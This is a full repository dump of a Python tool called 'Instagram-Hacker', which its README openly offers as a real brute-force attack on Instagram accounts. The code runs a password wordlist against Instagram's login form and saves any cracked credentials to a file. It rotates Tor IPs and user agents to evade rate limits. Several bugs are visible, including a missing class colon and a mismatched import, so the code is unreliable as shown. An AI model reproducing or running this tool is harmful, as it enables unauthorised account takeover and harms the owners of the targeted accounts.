├── .gitignore ├── Core ├── browser.py └── tor.py ├── LICENSE ├── README.md └── instagram.py /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | env/ 12 | build/ 13 | develop-eggs/ 14 | dist/ 15 | downloads/ 16 | eggs/ 17 | .eggs/ 18 | lib/ 19 | lib64/ 20 | parts/ 21 | sdist/ 22 | var/ 23 | wheels/ 24 | *.egg-info/ 25 | .installed.cfg 26 | *.egg 27 | 28 | # PyInstaller 29 | # Usually these files are written by a python script from a template 30 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 31 | *.manifest 32 | *.spec 33 | 34 | # Installer logs 35 | pip-log.txt 36 | pip-delete-this-directory.txt 37 | 38 | # Unit test / coverage reports 39 | htmlcov/ 40 | .tox/ 41 | .coverage 42 | .coverage.* 43 | .cache 44 | nosetests.xml 45 | coverage.xml 46 | *.cover 47 | .hypothesis/ 48 | 49 | # Translations 50 | *.mo 51 | *.pot 52 | 53 | # Django stuff: 54 | *.log 55 | local_settings.py 56 | 57 | # Flask stuff: 58 | instance/ 59 | .webassets-cache 60 | 61 | # Scrapy stuff: 62 | .scrapy 63 | 64 | # Sphinx documentation 65 | docs/_build/ 66 | 67 | # PyBuilder 68 | target/ 69 | 70 | # Jupyter Notebook 71 | .ipynb_checkpoints 72 | 73 | # pyenv 74 | .python-version 75 | 76 | # celery beat schedule file 77 | celerybeat-schedule 78 | 79 | # SageMath parsed files 80 | *.sage.py 81 | 82 | # dotenv 83 | .env 84 | 85 | # virtualenv 86 | .venv 87 | venv/ 88 | ENV/ 89 | 90 | # Spyder project settings 91 | .spyderproject 92 | .spyproject 93 | 94 | # Rope project settings 95 | .ropeproject 96 | 97 | # mkdocs documentation 98 | /site 99 | 100 | # mypy 101 | .mypy_cache/ 102 | -------------------------------------------------------------------------------- /Core/browser.py: -------------------------------------------------------------------------------- 1 | import json 2 | import random 3 | import requests 4 | import cookielib 5 | import mechanize 6 | 7 | class Browser(object) 8 | def __init__(self): 9 | self.br = None 10 | 11 | def createBrowser(self): 12 | br = mechanize.Browser() 13 | br.set_handle_equiv(True) 14 | br.set_handle_referer(True) 15 | br.set_handle_robots(False) 16 | br.set_cookiejar(cookielib.LWPCookieJar()) 17 | br.addheaders=[('User-agent',self.useragent())] 18 | br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(),max_time=1) 19 | self.br = br 20 | 21 | def deleteBrowser(self): 22 | self.br.close() 23 | del self.br 24 | 25 | def getIp(self): 26 | try: 27 | return json.loads(requests.get('https://api.ipify.org/?format=json').text)['ip'] 28 | except KeyboardInterrupt:self.kill() 29 | except:pass 30 | 31 | def exists(self,name): 32 | try: 33 | html = requests.get('https://instagram.com/{}'.format(name)).text 34 | return True if '@{}'.format(name.lower()) in html else False 35 | except KeyboardInterrupt:self.kill() 36 | except:return 37 | 38 | def login(self,password): 39 | if any([not self.alive,self.isFound]): 40 | return 41 | 42 | try: 43 | self.display(password) 44 | self.br.open(self.url) 45 | self.br.select_form(nr=0) 46 | self.br.form[self.form1] = self.username 47 | self.br.form[self.form2] = password 48 | return self.br.submit().read() 49 | except KeyboardInterrupt:self.kill() 50 | except:return 51 | 52 | def useragent(self): 53 | useragents = [ 54 | 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) RockMelt/0.9.58.494 Chrome/11.0.696.71 Safari/534.24', 55 | 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36', 56 | 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.54 Safari/535.2', 57 | 'Opera/9.80 (J2ME/MIDP; Opera Mini/9.80 (S60; SymbOS; Opera Mobi/23.348; U; en) Presto/2.5.25 Version/10.54', 58 | 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.12 Safari/535.11', 59 | 'Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.6 (KHTML, like Gecko) Chrome/16.0.897.0 Safari/535.6', 60 | 'Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20121202 Firefox/17.0 Iceweasel/17.0.1'] 61 | return random.choice(useragents) -------------------------------------------------------------------------------- /Core/tor.py: -------------------------------------------------------------------------------- 1 | import os 2 | import time 3 | import socks 4 | import socket 5 | import subprocess 6 | 7 | class TorManager(object): 8 | def __init__(self): 9 | self.devnull = open(os.devnull,'w') 10 | 11 | def installTor(self): 12 | subprocess.call(['clear']) 13 | print '{0}[{1}-{0}]{2} Installing Tor, Please Wait {3}...{2}'.\ 14 | format(self.y,self.r,self.n,self.g);time.sleep(3) 15 | cmd = ['apt-get','install','tor','-y'] 16 | subprocess.Popen(cmd,stdout=self.devnull,stderr=self.devnull).wait() 17 | 18 | def restartTor(self): 19 | cmd = ['service','tor','restart'] 20 | subprocess.Popen(cmd,stdout=self.devnull,stderr=self.devnull).wait() 21 | time.sleep(.5) 22 | 23 | def stopTor(self): 24 | cmd = ['service','tor','stop'] 25 | subprocess.Popen(cmd,stdout=self.devnull,stderr=self.devnull).wait() 26 | 27 | def updateIp(self): 28 | self.restartTor() 29 | socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5,'127.0.0.1',9050,True) 30 | socket.socket=socks.socksocket 31 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2017 John 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Instagram-Hacker 2 | This is a script for Instagram bruteforce attacks. WARNING THIS IS A REAL TOOL! 3 | 4 | # Usage 5 | 6 | `python instagram.py username103 pass.lst` 7 | 8 | # Requirements 9 | 10 | [mechanize](https://pypi.python.org/pypi/mechanize/) install with: `pip install mechanize` 11 | 12 | [requests](https://pypi.python.org/pypi/requests/2.18.4) install with: `pip install requests` 13 | 14 | [Tor](https://www.torproject.org/docs/debian) install with: `sudo apt-get install tor` 15 | -------------------------------------------------------------------------------- /instagram.py: -------------------------------------------------------------------------------- 1 | # Date: 06/10/2017 2 | # Distro: Kali linux 3 | # Desc: Instagram Bruteforce 4 | # 5 | # 6 | 7 | import os 8 | import time 9 | import urllib 10 | import argparse 11 | import threading 12 | import subprocess 13 | from platform import platform 14 | from Core.tor import TorManager 15 | from Core.Browser import Browser 16 | 17 | class Instagram(TorManager,Browser): 18 | def __init__(self,username,wordlist): 19 | self.username = username 20 | self.wordlist = wordlist 21 | self.lock = threading.Lock() 22 | 23 | self.ip = None 24 | self.tries = 0 25 | self.wait = False 26 | self.alive = True 27 | self.isFound = False 28 | 29 | self.passlist = [] 30 | self.recentIps = [] 31 | 32 | #for browser 33 | self.url = 'https://www.instagram.com/accounts/login/?force_classic_login' 34 | self.form1 = 'username' 35 | self.form2 = 'password' 36 | 37 | Browser.__init__(self) 38 | TorManager.__init__(self) 39 | 40 | self.n = '\033[0m' 41 | self.r = '\033[31m' 42 | self.g = '\033[32m' 43 | self.y = '\033[33m' 44 | self.b = '\033[34m' 45 | 46 | def kill(self,msg=None): 47 | self.alive = False 48 | self.stopTor() 49 | try: 50 | if self.isFound: 51 | self.display(msg) 52 | print ' [-] Password Found!' 53 | 54 | with open('Cracked.txt','a') as f: 55 | f.write('[-] Username: {}\n[-] Password: {}\n\n'.\ 56 | format(self.username,msg)) 57 | 58 | if all([not self.isFound, msg]): 59 | print '\n [-] {}'.format(msg) 60 | finally:exit() 61 | 62 | def modifylist(self): 63 | if len(self.recentIps) == 5: 64 | del self.recentIps[0] 65 | 66 | # failsafe 67 | if len(self.recentIps) > 5: 68 | while all([len(self.recentIps) > 4]): 69 | del self.recentIps[0] 70 | def manageIps(self,rec=2): 71 | ip = self.getIp() 72 | if ip: 73 | if ip in self.recentIps: 74 | self.updateIp() 75 | self.manageIps() 76 | self.ip = ip 77 | self.recentIps.append(ip) 78 | else: 79 | if rec: 80 | self.updateIp() 81 | self.manageIps(rec-1) 82 | else: 83 | self.connectionHandler() 84 | 85 | def changeIp(self): 86 | self.createBrowser() 87 | self.updateIp() 88 | 89 | self.manageIps() 90 | self.modifylist() 91 | self.deleteBrowser() 92 | 93 | def setupPasswords(self): 94 | with open(self.wordlist,'r') as passwords: 95 | for pwd in passwords: 96 | pwd = pwd.replace('\n','') 97 | if len(self.passlist) < 5: 98 | self.passlist.append(pwd) 99 | else: 100 | while all([self.alive,len(self.passlist)]):pass 101 | if not len(self.passlist): 102 | self.passlist.append(pwd) 103 | 104 | # done reading files 105 | while self.alive: 106 | if not len(self.passlist): 107 | self.alive = False 108 | 109 | def connectionHandler(self): 110 | if self.wait:return 111 | self.wait = True 112 | print ' [-] Waiting For Connection {}...{}'.format(self.g,self.n) 113 | while all([self.alive,self.wait]): 114 | try: 115 | self.updateIp() 116 | urllib.urlopen('https://wtfismyip.com/text') 117 | self.wait = False 118 | break 119 | except IOError: 120 | time.sleep(1.5) 121 | self.manageIps() 122 | 123 | def attempt(self,pwd): 124 | with self.lock: 125 | self.tries+=1 126 | self.createBrowser() 127 | html = self.login(pwd) 128 | self.deleteBrowser() 129 | 130 | if html: 131 | if all([not self.form1 in html,not self.form2 in html]): 132 | self.isFound = True 133 | self.kill(pwd) 134 | del self.passlist[self.passlist.index(pwd)] 135 | 136 | def run(self): 137 | self.display() 138 | time.sleep(1.3) 139 | threading.Thread(target=self.setupPasswords).start() 140 | while self.alive: 141 | bot = None 142 | 143 | for pwd in self.passlist: 144 | bot = threading.Thread(target=self.attempt,args=[pwd]) 145 | bot.start() 146 | 147 | # wait for bot 148 | if bot: 149 | while all([self.alive,bot.is_alive()]):pass 150 | if self.alive: 151 | self.changeIp() 152 | 153 | def display(self,pwd=None): 154 | pwd = pwd if pwd else '' 155 | ip = self.ip if self.ip else '' 156 | creds = self.r if not self.isFound else self.g 157 | attempts = self.tries if self.tries else '' 158 | 159 | subprocess.call(['clear']) 160 | print '' 161 | print ' +------- Instagram -------+' 162 | print ' [-] Username: {}{}{}'.format(creds,self.username.title(),self.n) 163 | print ' [-] Password: {}{}{}'.format(creds,pwd,self.n) 164 | print ' [-] Proxy IP: {}{}{}'.format(self.b,ip,self.n) 165 | print ' [-] Attempts: {}{}{}'.format(self.y,attempts,self.n) 166 | print '' 167 | 168 | if not ip: 169 | print ' [-] Obtaining Proxy IP {}...{}'.format(self.g,self.n) 170 | self.changeIp() 171 | time.sleep(1.3) 172 | self.display() 173 | def main(): 174 | # assign arugments 175 | args = argparse.ArgumentParser() 176 | args.add_argument('username',help='Email or username') 177 | args.add_argument('wordlist',help='wordlist') 178 | args = args.parse_args() 179 | 180 | # assign variables 181 | engine = Instagram(args.username,args.wordlist) 182 | 183 | # does tor exists? 184 | if not os.path.exists('/usr/bin/tor'): 185 | try:engine,installTor() 186 | except KeyboardInterrupt:engine.kill('Exiting {}...{}'.format(self.g,self.n)) 187 | if not os.path.exists('/usr/sbin/tor'): 188 | engine.kill('Please Install Tor'.format(engine.y,engine.r,engine.n)) 189 | 190 | # does the account exists? 191 | if not engine.exists(engine.username): 192 | engine.kill('The Account \'{}\' does not exists'.format(engine.username.title())) 193 | 194 | # start attack 195 | try: 196 | engine.run() 197 | finally: 198 | if not engine.isFound: 199 | engine.kill('Exiting {}...{}'.format(engine.g,engine.n)) 200 | 201 | if __name__ == '__main__': 202 | if not 'kali' in platform(): 203 | exit('Kali Linux required') 204 | 205 | if os.getuid(): 206 | exit('root access required') 207 | else: 208 | main() 209 | --------------------------------------------------------------------------------